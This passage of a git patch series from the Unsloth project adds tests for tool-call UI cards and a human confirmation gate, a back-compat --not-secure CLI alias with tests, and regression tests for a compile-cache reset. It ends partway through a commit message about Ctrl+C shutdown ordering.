+    assert len(closing) == 1
+
+
+def test_connect_error_during_tool_call_closes_provisional_card(monkeypatch):
+    """If llama-server drops mid tool-call after a provisional card is shown, the
+    loop must close that card before surfacing the error so the UI never leaves a
+    tool spinning forever."""
+    import httpx
+
+    big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120))
+    fragments = _streamed_structured_tool_call("python", {"code": big_code}, "call_py_err")
+    # Drop the trailing [DONE]; raise a connection error after the fragments
+    # stream (and after the provisional card has been emitted).
+    fragments = fragments[:-1]
+
+    def raising_stream():
+        for chunk in fragments:
+            yield chunk
+        raise httpx.ConnectError("connection lost mid stream")
+
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [raising_stream()], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "OK")
+
+    collected: list[dict] = []
+    raised = False
+    gen = backend.generate_chat_completion_with_tools(
+        messages = [{"role": "user", "content": "write code"}],
+        tools = [{"type": "function", "function": {"name": "python"}}],
+        max_tool_iterations = 1,
+    )
+    try:
+        for event in gen:
+            collected.append(event)
+    except RuntimeError as exc:
+        raised = True
+        assert "Lost connection" in str(exc)
+
+    assert raised
+    provisional = [e for e in collected if e.get("type") == "tool_start" and not e.get("arguments")]
+    assert len(provisional) == 1
+    assert provisional[0]["tool_call_id"] == "call_py_err"
+    # The provisional card is closed before the error propagates.
+    closing = [
+        e
+        for e in collected
+        if e.get("type") == "tool_end" and e.get("tool_call_id") == "call_py_err"
+    ]
+    assert len(closing) == 1
+    # The closing card is marked as an error, not an empty success, so the UI
+    # renders it as failed.
+    assert "Error" in (closing[0].get("result") or "")
+
+
+def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch):
+    """llama.cpp can stream a tool call whose id is an empty string. A provisional
+    card keyed by "" cannot reconcile with the real tool_start (the frontend mints
+    its own id per event), so it must not be emitted -- otherwise the empty card
+    would dangle. The real call must still execute normally."""
+
+    big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120))
+    assert len(json.dumps({"code": big_code})) > _PROVISIONAL_ARGS_MIN_CHARS
+
+    # Same large streamed call as the provisional test, but with an empty id.
+    first_stream = _streamed_structured_tool_call("python", {"code": big_code}, "")
+    final_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "OK"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "write code"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # No provisional card (empty-args tool_start) was surfaced for the empty id.
+    provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")]
+    assert provisional == []
+    # The real call still executes despite the missing id.
+    assert calls == [("python", {"code": big_code})]
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 4098c87f4b..d61c0b389c 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -393,6 +393,138 @@ class TestLoopBasic:
         assert exec_fn.calls[0][0] == "render_html"
         assert "<!doctype html>" in exec_fn.calls[0][1]["code"]
 
+    def test_render_html_confirmation_gate_suppresses_early_provisional(self, monkeypatch):
+        """When a human confirmation gate is active, render_html must not surface
+        an early provisional tool_start: that card (keyed by tool_call_id, no
+        approval) would show the tool 'running' before the user approves. The
+        gated real tool_start is the first signal the UI receives instead."""
+        monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "approval-rh")
+        monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object())
+        monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "allow")
+
+        exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+        turn_iter = iter(
+            [
+                [
+                    "<function=render_html>",
+                    "<parameter=code><!doctype html><html>",
+                    "<body>Hi</body></html></parameter></function>",
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "make html"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            execute_tool = exec_fn,
+            confirm_tool_calls = True,
+            session_id = "sess",
+            max_tool_iterations = 3,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        # No early provisional (empty-args) card while confirmation is pending.
+        assert [e for e in tool_starts if e.get("arguments") == {}] == []
+        # The real, gated tool_start still surfaces with the full arguments.
+        real = [e for e in tool_starts if e.get("arguments", {}).get("code")]
+        assert len(real) == 1
+        assert real[0].get("awaiting_confirmation") is True
+        assert "<!doctype html>" in real[0]["arguments"]["code"]
+        assert exec_fn.calls[0][0] == "render_html"
+
+    def test_render_html_bypass_permissions_keeps_early_provisional(self, monkeypatch):
+        """bypass_permissions wins over the confirm gate, so the early provisional
+        card is preserved (no human approval is required)."""
+        exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+        turn_iter = iter(
+            [
+                [
+                    "<function=render_html>",
+                    "<parameter=code><!doctype html><html>",
+                    "<body>Hi</body></html></parameter></function>",
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "make html"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            execute_tool = exec_fn,
+            confirm_tool_calls = True,
+            bypass_permissions = True,
+            session_id = "sess",
+            max_tool_iterations = 3,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        assert len(tool_starts) == 2
+        assert tool_starts[0]["arguments"] == {}
+        assert "<!doctype html>" in tool_starts[1]["arguments"]["code"]
+
+    def test_render_html_provisional_card_closed_on_generator_exception(self):
+        """If the model generator raises mid-stream after a provisional render_html
+        card was surfaced, the loop must close that card as errored before the
+        exception propagates, so the UI never leaves a tool spinning forever."""
+        exec_fn = FakeExecuteTool([])
+
+        def _gen(_messages):
+            acc = ""
+            for chunk in ["<function=render_html>", "<parameter=code><!doctype html><html>"]:
+                acc += chunk
+                yield acc
+            raise RuntimeError("model pipeline exploded")
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "make html"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            execute_tool = exec_fn,
+        )
+
+        collected: list[dict] = []
+        raised = False
+        try:
+            for event in loop:
+                collected.append(event)
+        except RuntimeError as exc:
+            raised = True
+            assert "exploded" in str(exc)
+
+        assert raised
+        provisional = [
+            e for e in collected if e["type"] == "tool_start" and e.get("arguments") == {}
+        ]
+        assert len(provisional) == 1
+        # The provisional card is closed (as an error) before the exception
+        # propagates, so it never dangles.
+        closing = [
+            e
+            for e in collected
+            if e["type"] == "tool_end" and e.get("tool_call_id") == provisional[0]["tool_call_id"]
+        ]
+        assert len(closing) == 1
+        assert "Error" in (closing[0].get("result") or "")
+
     def test_python_tool_containing_render_html_signal_does_not_emit_provisional_start(self):
         loop, exec_fn = _make_loop(
             turns = [

From 2ec0b8847136602f10f555edb1d43fe15dbfeee3 Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Mon, 22 Jun 2026 15:24:04 +0200
Subject: [PATCH 029/306] Fix recent trainings scope (#6571)

---
 .../src/features/data-recipes/pages/data-recipes-page.tsx      | 3 ---
 studio/frontend/src/features/export/export-page.tsx            | 3 ---
 2 files changed, 6 deletions(-)

diff --git a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
index 005455cd94..76f443afe4 100644
--- a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
+++ b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
@@ -41,7 +41,6 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
-import { RecentTrainingsSection } from "@/features/studio/recent-trainings-section";
 import type { ReactElement } from "react";
 import { useEffect, useState } from "react";
 import {
@@ -529,8 +528,6 @@ export function DataRecipesPage(): ReactElement {
             ))}
           </div>
         )}
-
-        <RecentTrainingsSection />
       </main>
 
       <Dialog open={learningDialogOpen} onOpenChange={setLearningDialogOpen}>
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index e23b3d7262..7d38d9b222 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -2,7 +2,6 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { SectionCard } from "@/components/section-card";
-import { RecentTrainingsSection } from "@/features/studio/recent-trainings-section";
 import { Button } from "@/components/ui/button";
 import {
   Combobox,
@@ -1224,8 +1223,6 @@ export function ExportPage() {
             </>
           )}
         </SectionCard>
-
-        <RecentTrainingsSection />
       </main>
     </div>
   );

From 6254ab37c3a585617004b690c004fcc462659662 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 07:20:50 -0700
Subject: [PATCH 030/306] Studio: accept --not-secure as a back-compat alias
 for --no-secure (#6568)

* Studio: accept --not-secure as a back-compat alias for --no-secure

PR #6560 renamed the negative secure flag from --not-secure to --no-secure
to match argparse.BooleanOptionalAction. Re-add --not-secure as a hidden,
deprecated alias at both CLI layers so existing scripts and muscle memory
keep working, while --no-secure stays the documented spelling.

- studio/backend/run.py: extract the CLI parser into _build_arg_parser() so
  the flag wiring is unit-testable, and register --not-secure as a hidden
  store_false alias for --no-secure. Last flag wins, matching
  BooleanOptionalAction semantics.
- unsloth_cli/commands/studio.py: add a hidden --not-secure option to
  `unsloth studio` and `unsloth studio run`; it forces secure off and
  forwards the canonical --no-secure to the backend.
- Tests at both layers for the alias and its polarity.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address review on --not-secure alias

- run.py: use argparse.SUPPRESS for the --not-secure default so the alias
  never contributes a namespace default (the canonical --secure owns it).
- studio.py: resolve --not-secure last-wins from argv via _resolve_secure()
  so `--not-secure --secure` keeps secure on, matching the backend's
  BooleanOptionalAction and how --secure/--no-secure already behave.
- Add a CLI last-wins test covering both flag orders.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/run.py                         | 52 +++++++++++++------
 .../backend/tests/test_secure_tunnel_gate.py  | 14 +++++
 unsloth_cli/commands/studio.py                | 38 ++++++++++++++
 unsloth_cli/tests/test_studio_secure_flag.py  | 37 +++++++++++++
 4 files changed, 125 insertions(+), 16 deletions(-)

diff --git a/studio/backend/run.py b/studio/backend/run.py
index 7460a2f5f6..7c4d52d3a9 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -1174,18 +1174,20 @@ def run_server(
     return app
 
 
-# For direct execution (also invoked by CLI via os.execvp / subprocess).
-if __name__ == "__main__":
-    import argparse
-    import signal
-    import traceback
+# Mirror unsloth_cli/commands/studio.py's _PARALLEL_*. Default 1 is for direct
+# backend launches; `unsloth studio run` always passes its own value (4).
+_PARALLEL_MIN = 1
+_PARALLEL_MAX = 64
+_PARALLEL_DEFAULT_PLAIN = 1
 
-    # Ensure stderr handles Unicode on Windows (non-ASCII path tracebacks).
-    if sys.platform == "win32" and hasattr(sys.stderr, "reconfigure"):
-        try:
-            sys.stderr.reconfigure(encoding = "utf-8", errors = "replace")
-        except Exception:
-            pass
+
+def _build_arg_parser():
+    """Build the backend CLI argument parser.
+
+    Extracted from the __main__ block so the flag wiring (notably the
+    --secure/--no-secure polarity and its --not-secure alias) stays unit-testable.
+    """
+    import argparse
 
     parser = argparse.ArgumentParser(description = "Run Unsloth UI Backend server")
     parser.add_argument(
@@ -1221,6 +1223,14 @@ if __name__ == "__main__":
         "if the tunnel can't start. Without it, --no-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network",
     )
+    # Back-compat: accept --not-secure as a hidden alias for --no-secure.
+    parser.add_argument(
+        "--not-secure",
+        dest = "secure",
+        action = "store_false",
+        default = argparse.SUPPRESS,
+        help = argparse.SUPPRESS,
+    )
     # Tri-state tool policy: no flag -> None (tools on, per-request honored);
     # --enable-tools/--disable-tools force on/off.
     parser.add_argument(
@@ -1238,11 +1248,6 @@ if __name__ == "__main__":
         default = None,
         help = "Force server-side tools off for every request.",
     )
-    # Mirror unsloth_cli/commands/studio.py's _PARALLEL_*. Default 1 is for direct
-    # backend launches; `unsloth studio run` always passes its own value (4).
-    _PARALLEL_MIN = 1
-    _PARALLEL_MAX = 64
-    _PARALLEL_DEFAULT_PLAIN = 1
     parser.add_argument(
         "--parallel",
         "--n-parallel",
@@ -1253,7 +1258,22 @@ if __name__ == "__main__":
             f"Default {_PARALLEL_DEFAULT_PLAIN}; `unsloth studio run` uses 4."
         ),
     )
+    return parser
 
+
+# For direct execution (also invoked by CLI via os.execvp / subprocess).
+if __name__ == "__main__":
+    import signal
+    import traceback
+
+    # Ensure stderr handles Unicode on Windows (non-ASCII path tracebacks).
+    if sys.platform == "win32" and hasattr(sys.stderr, "reconfigure"):
+        try:
+            sys.stderr.reconfigure(encoding = "utf-8", errors = "replace")
+        except Exception:
+            pass
+
+    parser = _build_arg_parser()
     args = parser.parse_args()
     if not _PARALLEL_MIN <= args.parallel <= _PARALLEL_MAX:
         parser.error(f"--parallel must be between {_PARALLEL_MIN} and {_PARALLEL_MAX}")
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index 81ebf589f3..d254121c14 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -60,6 +60,20 @@ def test_run_server_accepts_secure_kwarg():
     assert inspect.signature(run.run_server).parameters["secure"].default is False
 
 
+def test_arg_parser_secure_polarity_and_not_secure_alias():
+    # --secure/--no-secure is the documented flag; --not-secure is a hidden,
+    # back-compat alias for --no-secure. Last flag wins (BooleanOptionalAction).
+    import run
+
+    parser = run._build_arg_parser()
+    assert parser.parse_args([]).secure is False
+    assert parser.parse_args(["--secure"]).secure is True
+    assert parser.parse_args(["--no-secure"]).secure is False
+    assert parser.parse_args(["--not-secure"]).secure is False
+    assert parser.parse_args(["--secure", "--not-secure"]).secure is False
+    assert parser.parse_args(["--not-secure", "--secure"]).secure is True
+
+
 def test_run_server_accepts_enable_tools_kwarg():
     import inspect
 
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 097624422e..6ce6c5ea47 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -260,6 +260,28 @@ _PARALLEL_DEFAULT_RUN = 4  # pre-PR hardcoded for `unsloth studio run`
 _PARALLEL_DEFAULT_PLAIN = 1  # pre-PR effective for plain `unsloth studio`
 
 
+def _resolve_secure(secure: bool, not_secure: bool) -> bool:
+    """Reconcile the deprecated --not-secure alias with --secure/--no-secure.
+
+    Typer parses --secure and --not-secure as independent options, so the alias
+    cannot lean on Click's last-wins ordering the way --secure/--no-secure do.
+    Restore that ordering from argv: --not-secure only forces secure off when it
+    is the last of the secure flags on the command line, matching the backend's
+    BooleanOptionalAction.
+    """
+    if not not_secure:
+        return secure
+    last_secure = max(
+        (i for i, a in enumerate(sys.argv) if a in ("--secure", "--no-secure")),
+        default = -1,
+    )
+    last_not_secure = max(
+        (i for i, a in enumerate(sys.argv) if a == "--not-secure"),
+        default = -1,
+    )
+    return secure if last_secure > last_not_secure else False
+
+
 def _iter_editable_studio_source_roots(venv_dir: Path):
     """Yield repo roots from setuptools `__editable___*_finder.py` files in
     *venv_dir*'s site-packages whose MAPPING includes a `studio` entry.
@@ -675,6 +697,12 @@ def studio_default(
         "if the tunnel can't start. Without it, --no-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network.",
     ),
+    not_secure: bool = typer.Option(
+        False,
+        "--not-secure",
+        hidden = True,
+        help = "Deprecated alias for --no-secure.",
+    ),
     verbose: bool = typer.Option(
         False,
         "--verbose",
@@ -690,6 +718,8 @@ def studio_default(
     ),
 ):
     """Launch the Unsloth Studio server."""
+    # Back-compat: --not-secure is a deprecated alias for --no-secure.
+    secure = _resolve_secure(secure, not_secure)
     # Runs before every subcommand (run/setup/update/...).
     _ensure_studio_env_exported()
     if ctx.invoked_subcommand is not None:
@@ -1039,6 +1069,12 @@ def run(
         "if the tunnel can't start. Without it, --no-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network.",
     ),
+    not_secure: bool = typer.Option(
+        False,
+        "--not-secure",
+        hidden = True,
+        help = "Deprecated alias for --no-secure.",
+    ),
     tensor_parallel: bool = typer.Option(
         False,
         "--tensor-parallel/--no-tensor-parallel",
@@ -1066,6 +1102,8 @@ def run(
         unsloth studio run --model some-model --chat-template-file /path/to/tpl.jinja
         unsloth studio run --model unsloth/Qwen3-27B-GGUF --gguf-variant Q8_0 --tensor-parallel
     """
+    # Back-compat: --not-secure is a deprecated alias for --no-secure.
+    secure = _resolve_secure(secure, not_secure)
     extra_llama_args: List[str] = list(ctx.args) if ctx.args else []
 
     # Set before any re-exec so the in-venv server inherits it via the env.
diff --git a/unsloth_cli/tests/test_studio_secure_flag.py b/unsloth_cli/tests/test_studio_secure_flag.py
index ab19a963de..61b64ff65d 100644
--- a/unsloth_cli/tests/test_studio_secure_flag.py
+++ b/unsloth_cli/tests/test_studio_secure_flag.py
@@ -48,6 +48,17 @@ def test_studio_default_exposes_secure_option_default_off():
     assert getattr(opt, "default", None) is False
 
 
+def test_secure_exposes_hidden_not_secure_alias():
+    # --not-secure is a hidden, deprecated alias for --no-secure on both commands.
+    import inspect
+    for fn in (_studio().run, _studio().studio_default):
+        opt = inspect.signature(fn).parameters["not_secure"].default
+        decls = set(getattr(opt, "param_decls", []) or [])
+        assert "--not-secure" in decls
+        assert getattr(opt, "hidden", False) is True
+        assert getattr(opt, "default", None) is False
+
+
 # ── re-exec capture plumbing (mirrors test_studio_cloudflare_flag.py) ─
 
 
@@ -132,6 +143,7 @@ def _invoke_studio_default(monkeypatch, args):
         (None, "--no-secure", "--secure"),  # default off
         ("--secure", "--secure", "--no-secure"),
         ("--no-secure", "--no-secure", "--secure"),
+        ("--not-secure", "--no-secure", "--secure"),  # deprecated alias -> canonical
     ],
 )
 def test_run_reexec_forwards_secure_polarity(monkeypatch, user_flag, expected, unexpected):
@@ -160,6 +172,31 @@ def test_studio_default_reexec_forwards_secure(monkeypatch):
     assert argv[argv.index("--host") + 1] == "127.0.0.1", argv
 
 
+def test_studio_default_not_secure_alias_forwards_no_secure(monkeypatch):
+    # --not-secure on `unsloth studio` forwards the canonical --no-secure.
+    captured = _invoke_studio_default(monkeypatch, ["--not-secure"])
+    assert len(captured) == 1, captured
+    argv = captured[0]
+    assert "--no-secure" in argv and "--secure" not in argv, argv
+
+
+@pytest.mark.parametrize(
+    "argv_order,expected,unexpected",
+    [
+        # --not-secure tracks --no-secure: the last secure flag on argv wins,
+        # matching the backend BooleanOptionalAction.
+        (["--secure", "--not-secure"], "--no-secure", "--secure"),
+        (["--not-secure", "--secure"], "--secure", "--no-secure"),
+    ],
+)
+def test_run_not_secure_alias_respects_last_wins(monkeypatch, argv_order, expected, unexpected):
+    monkeypatch.setattr(sys, "argv", ["unsloth", "studio", "run", *argv_order])
+    captured = _invoke_run(monkeypatch, _BASE + argv_order)
+    assert len(captured) == 1, captured
+    argv = captured[0]
+    assert expected in argv and unexpected not in argv, argv
+
+
 # ── in-venv path forwards secure + forced host into run_server ────────
 
 

From 86d65f3d4ac761cbcf5f65cfa5982a0245bd7a01 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 07:22:47 -0700
Subject: [PATCH 031/306] Add regression tests for the stray-forward
 compile-cache reset (#6569)

* Add regression tests for the stray-forward compile-cache reset

Follow-up to #6511, which fixed the bug but whose squash merge did not
include the tests. These cover the two issues that fix addressed, under
the GPU-free tests/conftest.py harness:

- _unsloth_reset_stray_compile_cache is an exported module-level symbol in
  unsloth.models._utils (it previously lived only inside the RL trainer
  template string, so every non-RL import silently no-op'd)
- _unsloth_install_pretrain_detector keeps a recorded "seen" forward on an
  idempotent reinstall with a live hook, and only resets it after teardown
- only a grad-enabled pre-train forward marks the cache poisoned
- the reset warns and clears seen when a stray forward was seen, tears the
  hook down even on the clean path, and walks the .model/.base_model/.module
  wrapper chain to reach a nested marker

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pin UNSLOTH_COMPILE_DISABLE in the warn-path reset tests

The reset only warns and resets Dynamo when UNSLOTH_COMPILE_DISABLE != "1".
A GPU-free CI env that sets it to "1" would make the warn assertion in
test_reset_clears_seen_and_warns_when_a_stray_forward_was_seen flaky.
monkeypatch it to "0" in both warn-path tests so the warn / no-warn
assertions are deterministic and test the seen flag, not the env.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_pretrain_compile_reset.py | 153 +++++++++++++++++++++++++++
 1 file changed, 153 insertions(+)
 create mode 100644 tests/test_pretrain_compile_reset.py

diff --git a/tests/test_pretrain_compile_reset.py b/tests/test_pretrain_compile_reset.py
new file mode 100644
index 0000000000..22ba2ed3bd
--- /dev/null
+++ b/tests/test_pretrain_compile_reset.py
@@ -0,0 +1,153 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""The stray-pre-train-forward detector and its torch.compile cache reset.
+
+A grad-enabled forward/backward run before ``trainer.train()`` poisons the
+AOTAutograd backward-graph cache; the detector records it so train() can drop
+that cache. These cover the idempotent-reinstall evidence guard, the reset's
+chain-walk/teardown behaviour, and that the helper is importable at module
+scope (every non-RL training entry point imports it). Runs under the GPU-free
+``tests/conftest.py`` harness.
+"""
+
+from __future__ import annotations
+
+import warnings
+
+import unsloth  # noqa: F401  (installs the unsloth patches the functions live behind)
+
+import torch
+
+from unsloth.models._utils import (
+    _unsloth_install_pretrain_detector,
+    _unsloth_reset_stray_compile_cache,
+)
+
+
+class _Trainer:
+    """Minimal ``self`` stand-in: the reset only reads ``self.model``."""
+
+
+def test_reset_helper_is_importable_and_exported():
+    # Regression: the helper used to live only inside rl.py's RLTrainer_replacement template
+    # string (exec'd into a generated trainer module), so importing it from a real module raised
+    # ImportError and every non-RL consumer (SFT trainer.py, the plain-Trainer loop, the RL
+    # template's own delegation) silently no-op'd. Pin it as an exported module-level symbol.
+    from unsloth.models import _utils
+    assert callable(_utils._unsloth_reset_stray_compile_cache)
+    assert "_unsloth_reset_stray_compile_cache" in _utils.__all__
+
+
+def test_fresh_install_starts_unseen():
+    m = torch.nn.Linear(2, 2)
+    _unsloth_install_pretrain_detector(m)
+    marker = m._unsloth_pretrain_marker
+    assert marker["seen"] is False
+    assert "hook" in marker  # a live hook is registered
+
+
+def test_reinstall_with_live_hook_preserves_seen():
+    # Re-entering get_peft_model/patch_peft_model after a grad-enabled probe must NOT wipe the
+    # recorded poisoning, or train() skips the reset and the NaN/flat-loss bug returns.
+    m = torch.nn.Linear(2, 2)
+    _unsloth_install_pretrain_detector(m)
+    hook = m._unsloth_pretrain_marker["hook"]
+    m._unsloth_pretrain_marker["seen"] = True  # a probe the live hook recorded
+
+    _unsloth_install_pretrain_detector(m)  # idempotent re-install
+    marker = m._unsloth_pretrain_marker
+    assert marker["seen"] is True  # evidence kept
+    assert marker["hook"] is hook  # same hook, not double-registered
+
+
+def test_reinstall_after_teardown_resets_and_reregisters():
+    m = torch.nn.Linear(2, 2)
+    _unsloth_install_pretrain_detector(m)
+    marker = m._unsloth_pretrain_marker
+    marker["seen"] = True
+    marker.pop("hook").remove()  # simulate teardown (what the reset does)
+
+    _unsloth_install_pretrain_detector(m)  # no live hook -> fresh registration
+    assert marker["seen"] is False  # reset for the new session
+    assert "hook" in marker
+
+
+def test_grad_enabled_forward_marks_seen_no_grad_does_not():
+    m = torch.nn.Linear(2, 2)
+    _unsloth_install_pretrain_detector(m)
+    with torch.no_grad():
+        m(torch.zeros(1, 2))
+    assert m._unsloth_pretrain_marker["seen"] is False  # no backward graph -> clean
+    m(torch.zeros(1, 2))  # grad-enabled forward poisons the cache
+    assert m._unsloth_pretrain_marker["seen"] is True
+
+
+def test_reset_clears_seen_and_warns_when_a_stray_forward_was_seen(monkeypatch):
+    # Pin compile on: the reset only warns/resets when UNSLOTH_COMPILE_DISABLE != "1", which a
+    # GPU-free CI env may set, so force it here to make the warn assertion deterministic.
+    monkeypatch.setenv("UNSLOTH_COMPILE_DISABLE", "0")
+    m = torch.nn.Linear(2, 2)
+    _unsloth_install_pretrain_detector(m)
+    m._unsloth_pretrain_marker["seen"] = True  # a stray pre-train forward
+    trainer = _Trainer()
+    trainer.model = m
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        _unsloth_reset_stray_compile_cache(trainer)
+
+    assert any("manual forward/backward" in str(w.message) for w in caught)
+    assert "hook" not in m._unsloth_pretrain_marker  # hook torn down
+    assert m._unsloth_pretrain_marker["seen"] is False  # evidence consumed
+
+
+def test_reset_tears_down_hook_even_when_not_seen(monkeypatch):
+    # The clean path still removes the one-shot hook so it adds no per-step cost, but must not
+    # warn or reset Dynamo (nothing was poisoned). Pin compile on so the absent warning proves
+    # seen==False is the reason, not a disabled-compile short circuit.
+    monkeypatch.setenv("UNSLOTH_COMPILE_DISABLE", "0")
+    m = torch.nn.Linear(2, 2)
+    _unsloth_install_pretrain_detector(m)  # seen stays False
+    trainer = _Trainer()
+    trainer.model = m
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        _unsloth_reset_stray_compile_cache(trainer)
+
+    assert not any("manual forward/backward" in str(w.message) for w in caught)
+    assert "hook" not in m._unsloth_pretrain_marker
+    assert m._unsloth_pretrain_marker["seen"] is False
+
+
+def test_reset_walks_wrapper_chain_to_reach_a_nested_marker():
+    # The probe may have run on an inner wrapper (.model/.base_model/.module), not self.model.
+    inner = torch.nn.Linear(2, 2)
+    _unsloth_install_pretrain_detector(inner)
+    inner._unsloth_pretrain_marker["seen"] = True
+
+    class _Wrapper:  # e.g. a PEFT base_model wrapping the real module
+        pass
+
+    outer = _Wrapper()
+    outer.base_model = inner
+    trainer = _Trainer()
+    trainer.model = outer
+
+    with warnings.catch_warnings():
+        warnings.simplefilter("ignore")
+        _unsloth_reset_stray_compile_cache(trainer)
+
+    assert "hook" not in inner._unsloth_pretrain_marker  # found and torn down through the chain
+    assert inner._unsloth_pretrain_marker["seen"] is False

From dbc13f02c989d6efc6c830796a4226c3f9a6cca6 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 07:41:10 -0700
Subject: [PATCH 032/306] Studio: fix Ctrl+C shutdown ordering (installer shell
 + uvicorn thread wait) (#6566)

* Installer: respect a declined Studio auto-start and keep Ctrl+C shutdown logs ordered

The `curl | sh` Studio auto-start prompt had two issues on Linux/macOS/WSL
(install.sh). install.ps1 already gates on input redirection, so Windows is
unaffected.

1. Typing n, or any closed/EOF /dev/tty, still launched Studio. The read
   fallbacks defaulted to "y" (read failure, and the no-tty branch), so any
   answer other than a cleanly delivered y/n line auto-started a blocking
   foreground server. Default those to "n"; a real Enter still counts as yes
   via ${_reply:-y}.

2. On Ctrl+C the shell prompt printed in the middle of Studio's shutdown logs.
   The non-interactive installer shell took the default SIGINT action and died
   before the child finished its graceful shutdown, so the prompt raced ahead
   of "All subprocesses cleaned up". trap '' INT in the installer shell so it
   waits for Studio's own graceful shutdown.

* Studio: wait for the uvicorn thread before the terminal returns on Ctrl+C

Builds on #6565 by @Imagineer99. The studio server runs uvicorn in a daemon
thread, so on Ctrl+C the process could return to the shell while that thread
was still writing its shutdown logs, interleaving them with the prompt.

Retain the uvicorn thread and join it (flushing stdout/stderr) before terminal
entrypoints return, from run.py's main shutdown path and the CLI shutdown paths.

Refinements over #6565:
- Bound the join at 5s (_SERVER_SHUTDOWN_JOIN_TIMEOUT, matching the existing
  _graceful_shutdown subprocess timeouts) so a stalled uvicorn shutdown cannot
  hang the terminal; the timeout warning branch is now reachable.
- Restore SIG_DFL for SIGINT/SIGTERM at the start of the signal handler so a
  second Ctrl+C force-quits, and drop the redundant in-handler wait (the
  post-loop wait already covers the signal path).

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

